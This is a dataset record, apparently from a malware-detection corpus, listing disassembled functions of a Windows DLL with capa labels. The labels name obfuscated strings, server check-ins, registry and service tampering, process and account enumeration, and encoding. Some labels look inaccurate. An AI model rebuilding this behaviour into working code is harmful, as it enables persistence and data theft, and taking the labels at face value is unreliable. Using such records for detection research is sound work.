joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004500
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10090e11
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x100b5350]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov edi, ecx
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], 0
call fcn.10008240
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x3c], 1
mov dword [ebp - 0x1d], 0x253d6469
mov word [ebp - 0x22], 0x6870
mov dword [ebp - 0x26], 0x2e736469
mov dword [ebp - 0x18], 0x253d6d26
mov word [ebp - 0x1f], 0x753f
mov byte [ebp - 0x20], 0x70
mov word [ebp - 0x28], 0x752f
mov word [ebp - 0x14], 0x73
mov byte [ebp - 0x19], 0x73
call fcn.10008c10
push str.b751061591fa443e8768508704e59163
push esi
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 4], 1
call fcn.1000db70
add esp, 0x10
lea ecx, [ebp - 0x30]
call fcn.10008c10
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 2
call fcn.10002770
mov byte [ebp - 4], 3
push dword [ebp - 0x38]
push dword [eax]
lea eax, [ebp - 0x30]
push str.https:___s_s
push eax
call fcn.1000db70
add esp, 0x10
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 2
call fcn.10008cc0
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
cmp esi, 3
jne 0x100045f8
push str.ud.php
push str.uids.php
lea ecx, [ebp - 0x30]
call fcn.10008d90
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10008c30
mov byte [ebp - 4], 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x2c]
push str.time_d
push eax
call fcn.1000db90
add esp, 0xc
lea ecx, [ebp - 0x2c]
push edi
call fcn.10001a10
push eax
call fcn.10010290
test al, al
je 0x10004674
lea ecx, [ebp - 0x34]
call fcn.10008c10
mov ecx, edi
mov byte [ebp - 4], 5
call fcn.100084f0
push eax
lea eax, [ebp - 0x34]
push 0x100a752c
push eax
call fcn.1000db70
add esp, 0xc
lea ecx, [ebp - 0x34]
call fcn.10009020
mov ecx, eax
call fcn.10009360
lea ecx, [ebp - 0x34]
cmp eax, 0x6c
je 0x10004693
call fcn.10008cc0
push 0x12c
call ebx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 2
call fcn.10008cc0
inc esi
cmp esi, 6
jl 0x100045e1
jmp 0x100046a0
call fcn.10008cc0
lea ecx, [ebp - 0x2c]
call fcn.10008cc0
lea ecx, [ebp - 0x30]
call fcn.10008cc0
lea ecx, [ebp - 0x38]
call fcn.10008cc0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100704e7
mov esp, ebp
pop ebp
ret
Function at 0x10004f20
Capabilities:
Delete registry key
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 4]
push eax
push 0xf013f
push 0
push str.SOFTWARESSO
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10004f5c
push 0x100a75b0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 8]
push eax
push 0xf013f
push 0
push str.SOFTWARE
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10004f92
push 0x100a75c0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x100a75b0
push str.SOFTWARESSO
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHDeleteValueA]
push str.SOFTWARESSO
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov esp, ebp
pop ebp
ret
Function at 0x10006770
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x100b5350]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x30]
push eax
push 2
push ecx
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x24], 3
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x18], 0x64
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x10], 0x64
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], 0x64
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100704e7
mov esp, ebp
pop ebp
ret
Function at 0x10007140
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x100b5350]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov eax, edx
push 0
mov ebx, ecx
push eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x11c], ebx
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x118], 0
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
mov edi, eax
test edi, edi
jne 0x100071ab
mov ecx, ebx
call fcn.10008240
pop edi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100704e7
mov esp, ebp
pop ebp
ret
push esi
push edi
call fcn.1006caea
add esp, 4
mov esi, eax
push esi
push edi
push 0
push dword [ebp - 0x10c]
mov dword [ebp - 0x114], esi
call dword [sym.imp.VERSION.dll_GetFileVersionInfoA]
test eax, eax
je 0x100071ef
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x110]
push eax
push 0x100a764c
push esi
call dword [sym.imp.VERSION.dll_VerQueryValueA]
test eax, eax
jne 0x10007212
push esi
call fcn.10072081
add esp, 4
mov ecx, ebx
call fcn.10008240
pop esi
pop edi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100704e7
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x110]
push dword [ebp - 0x114]
movzx ecx, word [eax + 0xa]
movzx ebx, word [eax + 8]
movzx edi, word [eax + 0xe]
movzx esi, word [eax + 0xc]
mov dword [ebp - 0x10c], ecx
call fcn.10072081
push esi
push edi
push ebx
push dword [ebp - 0x10c]
lea eax, [ebp - 0x108]
push str._d._d._d._d
push 0x104
push eax
call fcn.10070ba4
mov ecx, dword [ebp - 0x11c]
add esp, 0x20
lea eax, [ebp - 0x108]
push eax
call fcn.10008270
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x11c]
pop esi
pop edi
xor ecx, ebp
pop ebx
call fcn.100704e7
mov esp, ebp
pop ebp
ret
Function at 0x100074a0
Capabilities:
Contain obfuscated stackstrings
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x834
mov eax, dword [0x100b5350]
xor eax, esp
mov dword [esp + 0x830], eax
mov eax, dword [ebp + 0x14]
mov dword [0x100b8a28], eax
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov dword [0x100b8a30], eax
mov eax, dword [ebp + 0xc]
push edi
lea ecx, [esp + 0x14]
mov dword [0x100b8a2c], eax
call fcn.10008c10
push 0x400
lea ecx, [esp + 0x18]
call fcn.10009350
mov ecx, eax
call fcn.10002e20
push ecx
lea ecx, [esp + 0x18]
call fcn.10009380
call fcn.10007100
test eax, eax
setne bl
lea ecx, [esp + 0x18]
xor bh, bh
call fcn.10008c10
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
lea ebx, [ebx]
lea ecx, [esp + 0x20]
call fcn.10008c10
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x28]
push eax
lea edx, [esp + 0x1f]
mov cl, bl
call fcn.10007290
add esp, 0xc
test al, al
jne 0x10007562
push 0x3e8
call edi
lea ecx, [esp + 0x20]
call fcn.10008cc0
inc esi
cmp esi, 5
jl 0x10007520
jmp 0x10007571
mov bl, byte [esp + 0x13]
lea ecx, [esp + 0x20]
mov bh, 1
call fcn.10008cc0
mov ecx, 0x100a7698
mov eax, 0x100a74f4
test bh, bh
cmove eax, ecx
push eax
lea ecx, [esp + 0x20]
mov word [esp + 0x36], 0x4f53
mov word [esp + 0x2f], 0x7774
mov dword [esp + 0x31], 0x5c657261
mov byte [esp + 0x38], 0
mov word [esp + 0x2c], 0x6f53
mov byte [esp + 0x35], 0x53
mov byte [esp + 0x2e], 0x66
call fcn.10008c50
lea ecx, [esp + 0x1c]
call fcn.10009360
push eax
lea ecx, [esp + 0x20]
call fcn.10001a10
push eax
push 1
push str.chrinst
lea eax, [esp + 0x38]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
push 0x3ff
lea eax, [esp + 0x3d]
push 0
push eax
mov byte [esp + 0x44], 0
call fcn.10073290
add esp, 0xc
mov ecx, 0x100a76a8
mov eax, 0x100a76a4
test bl, bl
cmove eax, ecx
push eax
push 0x100a752c
lea eax, [esp + 0x40]
push 0x400
push eax
call fcn.10070ba4
lea ecx, [esp + 0x48]
call fcn.10002e60
push 0x3ff
lea eax, [esp + 0x44d]
push 0
push eax
mov byte [esp + 0x454], 0
call fcn.10073290
add esp, 0x1c
lea eax, [esp + 0x438]
push dword [esp + 0x18]
push 0x100a752c
push 0x400
push eax
call fcn.10070ba4
add esp, 0x10
lea ecx, [esp + 0x438]
call fcn.10002e60
lea ecx, [esp + 0x1c]
call fcn.10008cc0
lea ecx, [esp + 0x18]
call fcn.10008cc0
lea ecx, [esp + 0x14]
call fcn.10008cc0
mov ecx, dword [esp + 0x83c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100704e7
mov esp, ebp
pop ebp
ret
Function at 0x100076a0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10090ca8
mov eax, dword fs:[0]
push eax
sub esp, 0x144
mov eax, dword [0x100b5350]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x28]
call fcn.10008240
push 0
push 2
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x10007711
lea eax, [ebp - 0x150]
push eax
push esi
mov dword [ebp - 0x150], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x10007739
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
lea ecx, [ebp - 0x28]
call fcn.10008390
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100704e7
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
nop
lea eax, [ebp - 0x12c]
push eax
lea ecx, [ebp - 0x28]
call fcn.100083c0
call fcn.10009e40
inc eax
push eax
call fcn.10009e10
lea eax, [ebp - 0x28]
push eax
call fcn.10009e80
lea eax, [ebp - 0x28]
push eax
mov ecx, 0x100b8fa4
call fcn.100083d0
lea eax, [ebp - 0x150]
push eax
push esi
call edi
test eax, eax
jne 0x10007740
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, 1
jmp 0x10007713
Function at 0x1000f620
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10091289
mov eax, dword fs:[0]
push eax
sub esp, 0x60
mov eax, dword [0x100b5350]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x64], edx
mov ebx, ecx
mov dword [ebp - 0x68], 0
mov ecx, 0x10
mov esi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
lea edi, [ebp - 0x54]
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov dword [ebp - 0x6c], ebx
movsb byte es:[edi], byte [esi]
call fcn.10008240
mov edi, dword [ebp + 8]
xor esi, esi
mov dword [ebp - 4], 0
mov dword [ebp - 0x68], 1
test edi, edi
je 0x1000f7c2
mov ecx, dword [ebp - 0x64]
nop
mov al, byte [ecx]
mov byte [ebp + esi - 0x5c], al
mov ah, byte [ebp - 0x5a]
mov dl, byte [ebp - 0x5b]
mov dh, byte [ebp - 0x5c]
inc esi
inc ecx
dec edi
mov dword [ebp - 0x64], ecx
mov byte [ebp - 0x5f], ah
mov byte [ebp - 0x5d], dl
mov byte [ebp - 0x5e], dh
cmp esi, 3
jne 0x1000f713
mov al, dh
shr al, 2
mov byte [ebp - 0x58], al
mov cl, dh
and cl, 3
shl cl, 4
mov al, dl
shr al, 4
add cl, al
mov byte [ebp - 0x57], cl
mov cl, dl
and cl, 0xf
mov al, ah
shr al, 6
shl cl, 2
add cl, al
mov al, ah
and al, 0x3f
mov byte [ebp - 0x56], cl
mov byte [ebp - 0x55], al
xor esi, esi
jmp 0x1000f6f0
movzx eax, byte [ebp + esi - 0x58]
mov ecx, ebx
movzx eax, byte [ebp + eax - 0x54]
push eax
call fcn.1000f980
inc esi
cmp esi, 4
jl 0x1000f6f0
mov ecx, dword [ebp - 0x64]
mov dl, byte [ebp - 0x5d]
mov dh, byte [ebp - 0x5e]
xor esi, esi
test edi, edi
jne 0x1000f690
mov dword [ebp - 0x64], esi
test esi, esi
je 0x1000f7c2
mov eax, esi
cmp esi, 3
jge 0x1000f74d
cmp eax, 3
jae 0x1000f748
mov byte [ebp + eax - 0x5c], 0
inc eax
cmp eax, 3
jl 0x1000f730
mov cl, byte [ebp - 0x5a]
mov dl, byte [ebp - 0x5b]
mov dh, byte [ebp - 0x5c]
jmp 0x1000f750
call fcn.10072357
mov cl, byte [ebp - 0x5f]
mov al, dh
shr al, 2
mov byte [ebp - 0x58], al
mov al, dl
and dh, 3
shr al, 4
shl dh, 4
add dh, al
and dl, 0xf
mov al, cl
shr al, 6
shl dl, 2
add dl, al
lea eax, [esi + 1]
and cl, 0x3f
xor edi, edi
mov byte [ebp - 0x57], dh
mov byte [ebp - 0x56], dl
mov byte [ebp - 0x55], cl
mov dword [ebp - 0x5c], eax
test eax, eax
jle 0x1000f7aa
mov esi, eax
lea esp, [esp]
movzx eax, byte [ebp + edi - 0x58]
mov ecx, ebx
movzx eax, byte [ebp + eax - 0x54]
push eax
call fcn.1000f980
inc edi
cmp edi, esi
jl 0x1000f790
mov esi, dword [ebp - 0x64]
cmp esi, 3
jge 0x1000f7c2
mov edi, 3
sub edi, esi
push 0x3d
mov ecx, ebx
call fcn.1000f980
dec edi
jne 0x1000f7b6
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100704e7
mov esp, ebp
pop ebp
ret
Function at 0x100114a0
Capabilities:
List user accounts

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10094538
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x100b5350]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x3c], ecx
call fcn.10002210
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x48], 0
call fcn.10011400
test eax, eax
je 0x10011609
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x30]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x2c]
push eax
push 2
push 0
push 0
call dword [sym.imp.NETAPI32.dll_NetUserEnum]
mov esi, dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
mov edi, dword [ebp - 0x2c]
mov ebx, eax
mov dword [ebp - 0x40], ebx
jmp 0x10011530
test ebx, ebx
je 0x10011540
cmp ebx, 0xea
jne 0x100115ea
test edi, edi
je 0x100115f6
cmp dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 0
jbe 0x100115ea
lea esp, [esp]
test edi, edi
je 0x100115de
mov ebx, dword [edi]
test ebx, ebx
jne 0x1001156e
xor eax, eax
jmp 0x100115a7
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10011573
sub eax, edx
sar eax, 1
lea esi, [eax + 1]
cmp esi, 0x3fffffff
jle 0x10011591
xor eax, eax
jmp 0x100115a7
add esi, esi
mov eax, esi
call fcn.100879a0
mov ecx, esp
push dword [ebp - 0x44]
mov edx, ebx
push esi
call fcn.100113c0
push eax
lea ecx, [ebp - 0x28]
call fcn.10008270
mov ecx, dword [ebp - 0x3c]
push eax
mov dword [ebp - 4], 0
call fcn.100094d0
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
call fcn.10008390
mov eax, dword [ebp - 0x34]
inc eax
add edi, 4
mov dword [ebp - 0x34], eax
cmp eax, dword [ebp - 0x30]
jb 0x10011560
mov edi, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x40]
mov esi, dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
test edi, edi
je 0x100115f6
push edi
call esi
xor edi, edi
mov dword [ebp - 0x2c], edi
cmp ebx, 0xea
je 0x10011530
test edi, edi
je 0x10011609
push edi
call esi
lea esp, [ebp - 0x58]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100704e7
mov esp, ebp
pop ebp
ret
Function at 0x10011630
Capabilities:
Check if file exists
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x100b5350]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x107]
mov edi, ecx
push ebx
push eax
mov esi, edx
mov dword [ebp - 0x10c], edi
mov byte [ebp - 0x108], bl
call fcn.10073290
add esp, 0xc
lea eax, [ebp - 0x108]
push ebx
push 0x28
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x10011773
mov edx, edi
lea ecx, [ebp - 0x108]
call fcn.100113b0
test eax, eax
jne 0x10011763
lea ecx, [ebp - 0x108]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100116a4
sub ecx, edx
lea edx, [ecx - 1]
je 0x100116f1
cmp byte [ebp + edx - 0x108], 0x5c
je 0x100116eb
cmp edx, 0x104
jae 0x10011786
lea eax, [ebp - 0x108]
mov byte [ebp + edx - 0x108], bl
dec edx
lea edi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100116e0
sub eax, edi
jne 0x100116b2
mov edi, dword [ebp - 0x10c]
lea ecx, [ebp - 0x108]
lea edx, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10011700
sub ecx, edx
je 0x10011763
cmp ecx, 0x104
jae 0x10011763
lea eax, [ebp - 0x108]
push eax
push 0x104
push esi
call fcn.100726b6
push edi
push 0x104
push esi
call fcn.100726b6
add esp, 0x18
push str.NTUSER.DAT
push esi
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10011763
pop edi
mov ebx, 1
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100704e7
mov esp, ebp
pop ebp
ret
push 0x104
push 0
push esi
call fcn.10073290
add esp, 0xc
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.100704e7
mov esp, ebp
pop ebp
ret
call fcn.10072357
int3

Function at 0x100117d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, ecx
cmp byte [esi + 4], 0
je 0x1001180b
xor edx, edx
cmp dword [esi + 0x3cc], edx
jle 0x10011804
mov eax, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
sub edi, eax
mov cl, byte [edi + eax]
xor byte [eax], cl
inc edx
lea eax, [eax + 1]
cmp edx, dword [esi + 0x3cc]
jl 0x100117f2
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
push 0x100b6b18
lea ecx, [ebp - 0xc]
call fcn.100709d6
push 0x100af068
lea eax, [ebp - 0xc]
push eax
call fcn.1007878b
int3
Function at 0x100145a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x100b5350]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x10], 0x776c6853
mov dword [ebp - 0xa], 0x6c642e69
mov word [ebp - 6], 0x6c
mov word [ebp - 0xc], 0x7061
mov dword [ebp - 0x1e], 0x69466874
mov word [ebp - 0x13], 0x4173
mov word [ebp - 0x20], 0x6150
mov dword [ebp - 0x1a], 0x7845656c
mov word [ebp - 0x16], 0x7369
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x11], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x10014610
lea ecx, [ebp - 0x20]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100b8e44], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100704e7
mov esp, ebp
pop ebp
ret
Function at 0x10017e00
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x100b5350]
xor eax, ebp
mov dword [ebp - 4], eax
mov al, byte [ecx]
push ebx
xor ebx, ebx
push edi
mov edi, edx
mov dword [ebp - 0xc], ecx
test al, al
je 0x10017f1a
push esi
cmp al, 0x24
je 0x10017e5d
cmp al, 0x26
je 0x10017e5d
cmp al, 0x2b
je 0x10017e5d
cmp al, 0x2c
je 0x10017e5d
cmp al, 0x2f
je 0x10017e5d
cmp al, 0x3a
je 0x10017e5d
cmp al, 0x3b
je 0x10017e5d
cmp al, 0x3d
je 0x10017e5d
cmp al, 0x3f
je 0x10017e5d
cmp al, 0x40
je 0x10017e5d
cmp al, 0x23
je 0x10017e5d
cmp al, 0x20
je 0x10017e5d
mov byte [edi], al
inc edi
inc ebx
jmp 0x10017ef0
movsx eax, al
push eax
push str.___02x
push 0xffffffffffffffff
lea eax, [ebp - 8]
push 4
push eax
call fcn.10070b03
lea ecx, [ebp - 8]
add esp, 0x14
xor esi, esi
lea edx, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10017e80
sub ecx, edx
je 0x10017ebd
jmp 0x10017e90
movsx eax, byte [ebp + esi - 8]
push eax
call fcn.10077ead
mov byte [ebp + esi - 8], al
lea eax, [ebp - 8]
add esp, 4
inc esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10017eb0
sub eax, edx
cmp esi, eax
jb 0x10017e90
push 0xffffffffffffffff
lea eax, [ebp - 8]
push eax
mov eax, 0x800
sub eax, ebx
push eax
push edi
call fcn.10077ed9
lea ecx, [ebp - 8]
add esp, 0x10
lea edx, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10017ee0
sub ecx, edx
add edi, ecx
add ebx, ecx
mov ecx, dword [ebp - 0xc]
inc ecx
mov dword [ebp - 0xc], ecx
cmp ebx, 0x7ff
jae 0x10017f06
mov al, byte [ecx]
test al, al
jne 0x10017e24
pop esi
mov byte [edi], 0
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100704e7
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov byte [edi], bl
pop edi
xor ecx, ebp
pop ebx
call fcn.100704e7
mov esp, ebp
pop ebp
ret
Function at 0x10017f30
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x100b5350]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov ebx, ecx
push edi
mov dword [ebp - 0x14], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edi, eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
push eax
call esi
push 0
push ebx
mov dword [ebp - 0x10], eax
call esi
mov ecx, dword [ebp - 0x10]
mov ebx, eax
mov eax, dword [sym.imp.USER32.dll_AttachThreadInput]
cmp edi, ecx
je 0x10017f82
push 1
push ecx
push edi
call eax
mov eax, dword [sym.imp.USER32.dll_AttachThreadInput]
cmp ebx, edi
je 0x10017f8c
push 1
push edi
push ebx
call eax
mov esi, dword [sym.imp.USER32.dll_SystemParametersInfoA]
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0x2000
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
call esi
push 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0x2001
call esi
push 2
call dword [sym.imp.USER32.dll_LockSetForegroundWindow]
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_AllowSetForegroundWindow]
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0x2001
call esi
mov eax, dword [ebp - 0x10]
mov esi, dword [sym.imp.USER32.dll_AttachThreadInput]
cmp edi, eax
je 0x10017ff9
push 0
push eax
push edi
call esi
cmp ebx, edi
je 0x10018003
push 0
push edi
push ebx
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.100704e7
mov esp, ebp
pop ebp
ret